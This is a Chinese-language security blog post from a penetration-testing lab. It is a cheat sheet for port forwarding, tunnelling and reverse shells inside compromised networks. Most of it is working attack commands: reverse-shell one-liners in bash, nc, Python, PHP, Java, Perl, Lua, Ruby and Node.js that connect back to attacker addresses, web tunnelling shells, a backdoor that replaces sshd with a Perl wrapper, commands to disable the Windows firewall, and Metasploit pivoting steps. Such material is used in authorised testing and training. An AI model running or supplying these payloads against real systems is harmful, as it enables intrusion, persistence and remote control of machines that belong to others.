內網小組 | 埠轉發 全劇終

Ms08067安全實驗室發表於2021-03-18

出品|MS08067實驗室(www.ms08067.com)

本文作者:掉到魚缸裡的貓(Ms08067內網安全小組成員)

NetCat

方法一:
靶機:

mkfifo /tmp/fifo 
cat /tmp/fifo| nc 想要轉發的目標 想要轉發到的埠 | nc -lp 監聽埠> /tmp/fif

攻擊機:nc -nv 靶機IP 靶機監聽埠
反向Shell:
靶機:

方法一:nc -t -e cmd.exe 攻擊機IP 攻擊機監聽埠
方法二:cat /tmp/fifo | /bin/bash -i 2>&1 | nc 目標IP 埠 > /tmp/fifo
方法三:nc -e /bin/sh 10.0.3.4 4444 (後期的nc就沒有-e的選項了)
攻擊機(公網):nc -lvp 監聽埠

不能轉發3389

正向shell
靶機:

$ mkfifo /tmp/fifo 
$ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 本地埠 > /tmp/fifo 12
攻擊機:nc 目標IP 埠

lcx

服務端:lcx -slave 公網IP 公網埠 本地IP 本地埠
公網客戶端:lcx -listen 遠端埠 本地埠
客戶端連線本地埠,對應於連線遠端埠
先啟動listen,再啟動slave

reGeorg

服務端:上傳指令碼到Web目錄,伺服器要求開啟 enable_dl 功能
同時安裝 php_sockets擴充套件客戶端:

reGeorgSocksProxy.py -p 本地埠 -u http://目標伺服器上的指令碼

使用Proxifier將需要的流量引入本地埠sock5模式
有指令碼可以指定不使用sock5協議

Tunna

靶機:上傳指令碼到Web目錄,PHP就不要用了,及其不穩定
攻擊機:proxy.py -u http://指令碼地址 -l 本地埠 -r 目標埠(伺服器) -v

使用Proxifier將需要的流量引入本地埠sock5模式
使用 -n 引數關閉sock協議

這個False問題不大

不能用linux的rdesktop連線,要用Windows的遠端桌面連線

這種情況問題也不大

點選是之前再執行一次指令碼就行

reDuh

服務端:上傳指令碼到Web目錄
客戶端:java -jar reDuhClient.jar http://指令碼位置 進行連線
本地連線java返回的本地埠 nc -vv localhost 本地埠
在命令提示符中輸入 [createTunnel]本地空閒埠:目標地址(想要訪問的目標內網地址):目標埠

htran

伺服器(目標主機):htran -slave 跳板IP 跳板port 本地ip 本地埠
跳板機:htran -tran 跳板port 公網IP 公網埠
客戶端(公網主機):htran -listen 公網監聽埠 流量接收埠

socat

靶機:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:公網IP:公網埠
攻擊機:socat TCP-LISTEN:埠 - ,nc監聽也行

SSH

穿透兩個網路
公網跳板A:跳板A在B和C的兩個內網中間

開啟sshd的Gateway功能:
修改/etc/ssh/sshd_config,將 GatewayPorts 設定為yes
內網1中的B:ssh -p 22 -qngfNTR A
監聽端:localhost:22 A使用者@A地址
內網2中的C:ssh -p A監聽的埠 B使用者@A地址

本地流量轉發

#VPS
ssh -CfNg -L VPS埠:目標主機:目標埠跳板機使用者@跳板機IP
#攻擊端流量到VPS埠,被轉發

為什麼說是“本地”(單純的-L選項):
本地埠轉發繫結的是 lookback 介面,這意味著只有localhost 或者 127.0.0.1 才能使用本機的埠轉發 , 其他機器發起的連線只會得到“ connection refused. ”
但是可以利用GatewayPorts(-g)關鍵字來與其他機器共享這個本地轉發埠。

遠端轉發

#跳板主機
ssh -CfNg -R VPS埠:目標主機:目標埠VPS使用者@VPS的IP
#攻擊端流量到VPS埠,被轉發

動態轉發

ssh -CfNg -D 本地代理埠 VPS使用者@VPSIP
#流量轉發到VPS

兩層ssh

#Server2
ssh -CfNg -D 8882 User_Server3@Server3
#Server1
ssh -CfNg -L 8080:Server2:8882User_Server2@Server2
客戶端socks5代理Server1:8080

NPS

Earthworm(EW)

EW 是一套行動式的網路穿透工具,具有 SOCKS v5服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透。

iox

ngrok

各種系統都支援,支援內網穿透

利用IIS埠共享功能

……說實話,沒來得及嘗試,單看文件沒看懂

利用IIS的埠共享功能繞過防火牆

反彈shell

NC/Telent

telnet 可以換成 nc

方法一:
``
攻擊機nc監聽:nc -lp 空閒埠
服務端(靶機):mknod a p;telnet 攻擊機IP 攻擊機埠 0<a | /bin/bash 1>a

成功後沒有提示,嘗試命令即可

mknod命令中,a表示這個管道的名,p表示這個管道為FIFO(先進先出)和mkfifo一樣,就是後面mkfifo/tmp/backpipe1這種

**方法二:**

攻擊機:nc-lp 6666,nc-lp 5555,在監聽的6666的nc上輸入命令,在5555的nc上看返回的訊息
靶機:telnet 攻擊機 IP 6666| /bin/bash | telnet 攻擊機 IP 5555

**方法三:**

靶機執行:netcat -lvp 5555 -e /bin/sh
攻擊機執行:nc 靶機IP 靶機埠

**方法四:**

攻擊機執行:nc-lvvp 5555
靶機執行:nc 攻擊機IP 埠 -t -e /bin/bash

**方法五:**

mkfifo /tmp/backpipe1 | /bin/sh0</tmp/backpipe1 | nc回連地址6666 1 > /tmp/backpipe1

並不是所有的NC都有-e選項……有些裝置可能/bin下面沒有nc,但是busybox可以啊

##bash 反彈shell

服務端:bash -i >& /dev/tcp/公網IP/公網埠 0>&1
客戶端:nc -lvvp 埠

加密流量參看許可權維持筆記

##利用awk、gawk
1. 攻擊機執行監聽
2. 靶機執行 

awk
'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'


##Python 反彈shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("公網IP",目標埠));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

命令列直接執行 python -c '程式碼'

eval(import('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.55 23333 >/tmp/f'))


##php反彈shell

$sock=fsockopen("公網IP",埠);
exec("/bin/sh -i <&3 >&3 2>&3");

命令列執行 php -r '程式碼'

##java反彈shell

public class Revs {
/**

  • @param args
  • @throws Exception
    */
    public static void main(String[] args) throws Exception {
    // TODO Auto-generated method stub
    Runtime r = Runtime.getRuntime();
    String cmd[]= {"/bin/bash","-c","exec
    5<>/dev/tcp/192.168.3.251/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"};
    Process p = r.exec(cmd); p.waitFor(); } }
    public class Test {
    public static void main(String[] args) throws Exception {
    // TODO Auto-generated method stub
    Runtime r=Runtime.getRuntime();
    Process p=r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.3.251/8888 0>&1"});
    p.waitFor();
    }
    }

##Perl反彈Shell

use Socket;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in(埠,inet_aton("公網IP"))))
{
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");
};


命令列執行 perl -e ‘程式碼’

perl -MIO -e '$p=fork;
exit,if($p);
$c=new
IO::Socket::INET(PeerAddr,"1.1.1.1:8080");
STDIN->fdopen($c,r);
$~->fdopen($c,w);system$_ while<>;'


##Lua

lua -e
"require('socket');require('os');t=socket.tcp();t:connect('192.168.3.251','80 80');os.execute('/bin/sh -i <&3 >&3 2>&3');"


##Ruby

ruby -rsocket -e 'exit if
fork;c=TCPSocket.new("192.168.3.251","8080");while(cmd=c.gets);IO.popen(cmd," r"){|io|c.print io.read}end'


##Node.js

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();


##利用sshd反彈shell
**方法一:**
  1. 靶機執行:ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;
  2. 攻擊機執行:ssh root@目標 -p 設定的埠 需要密碼
**方法二:**
1. 靶機執行:

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

2. 攻擊機執行:

socat STDIO TCP4:192.168.1.129:22,sourceport=13377


##MSF 反彈shell 一句話

msfvenom -l payloads | grep "cmd/unix"|awk '{print $1}'


![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205503439-101126042.png)

##xterm下反彈
* 靶機執行 xterm -display 目標地址:1
* 接收方執行 xnest :1

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205523702-1407109692.png)

##Metasploit穿透雙層網路

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205532553-928145197.png)

攻擊機通過兩層跳板,對192.168.12.0/24網路進行掃描
1. 攻擊機獲得雙網路卡主機A的meterpreter會話
2. 執行命令,建立路由規則,只要會話不斷開Metasploit框架就可以訪問192.168.11.0/24網段

meterpreter> run autoroute -s 192.168.11.0/24


3. 配置流量轉發代理

meterpreter> background
msf> use auxiliary/server/socks4a
msf auxiliary(socks4a)> set srvhost 本機地址
msf auxiliary(socks4a)> set srvport 想要監聽的埠
msf auxiliary(socks4a)> run


4. 在proxychains配置檔案中新增sock4代理規則,即可通過proxychains實現流量轉發

5. 實現埠轉發

meterpreter> portfwd add -L 本地地址 -l 本地空閒埠 -p 目標埠 -r 目標地址


6.獲取雙網路卡主機B的控制權(使用bindTCP的payload,因為反向shell無法路由到攻擊機),獲取到meterpreter會話之後新增路由規則

meterpreter> run autoroute -s 192.168.12.0/24

7. 再次配置流量轉發代理(再開個新埠)

msf auxiliary(socks4a) > set SRVPORT 空閒埠

8. 修改proxychains配置檔案,取消下文的註釋,新增新的socks4代理

dynamic_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000


#利用系統自帶功能
##Windows 雙網路卡路由
雙網路卡Windows主機作為路由:
1.通過登錄檔允許網路卡進行流量轉發: 修改以下注冊表專案為1 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip \Parameters 中的 IPEnableRouter

2. 開啟 Routing and Remote Access 服務
3. 兩側主機新增靜態路由規則,路由指向雙網路卡主機

##Windows netsh命令埠轉發
管理員許可權cmd執行 

netsh interface portproxy add v4tov4 listenaddress=本地iP listenport=本地埠 connectaddress=轉發目標 connectport=轉發埠 ( add 換成 delete 就是刪除啦~)

不成功的話,先關閉防火牆

netsh firewall set opmode disable 或 netsh advfirewall set allprofiles state off

檢視埠對映配置:
netsh interface portproxy show all
1.為e:\f.exe 新增防火牆規則,需要管理員許可權。

netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow


刪除

netsh advfirewall firewall delete rule name="f.exe"


2、新增埠

netsh advfirewall firewall add rule name="HTTP" protocol=TCP dir=in localport=8080 action=allow

刪除

netsh advfirewall firewall delete rule name="HTTP" protocol=TCP dir=in localport=8080


##iptables

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205856352-1517247470.png)

* PREROUTING:在進行路由判斷之前所要進行的規則(DNAT/REDIRECT)(資料包進入主機後第一步),決定目標地址的改變與否 + 上下路的判定(是過濾型防火牆還是NAT防火牆)。
* INPUT:處理入站的資料包
* OUTPUT:處理出站的資料包
* FORWARD:是否允許被防火牆繼續轉發 + 是否允許使用Linux的路由/轉發功能。
* POSTROUTING:對資料包在經過路由表之後,最後一個處理步驟(資料包流出主機前最後的步驟),決定資料包是否需要改變源地址。

兩條鏈重要功能在於修改IP,而這兩條鏈修改的IP又是不一樣的,POSTROUTING在修改來源IP,PREROUTING則在修改目標IP 。
由於修改的 IP 不一樣,所以就稱為來源NAT (Source NAT, SNAT) 及目標 NAT (Destination NAT, DNAT)。
只用POSTROUTING:從請求側來看的話,只修改源IP

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210317205932493-788500754.png)

iptables –t nat –A POSTROUTING –s 192.168.10.10 –o eth1 –j SNAT --to-source 111.196.221.212


兩個結合起來就可以當做埠轉發了:

iptables -t nat -A PREROUTING -p tcp --dport 本機監聽埠 -j DNAT --to- destination 目標IP:埠
iptables -t nat -A POSTROUTING -d 目標主機 -j SNAT --to-source 本機IP


##參考
常見埠轉發工具的使用方式
淺談內網埠轉發
Linux iptables用法與NAT

&emsp;
&emsp;
&emsp;


**<font color=red>轉載請聯絡作者並註明出處!</font>**

Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:https://www.ms08067.com/

掃描下方二維碼加入實驗室VIP社群
加入後邀請加入內部VIP群,內部微信群永久有效!

<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171059867-27992252.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171108710-1006825273.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171113475-91288513.jpg" width=30% height=30%>

<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171130928-1756064793.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171138875-1861126870.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171146080-229256920.jpg" width=30% height=30%>

相關文章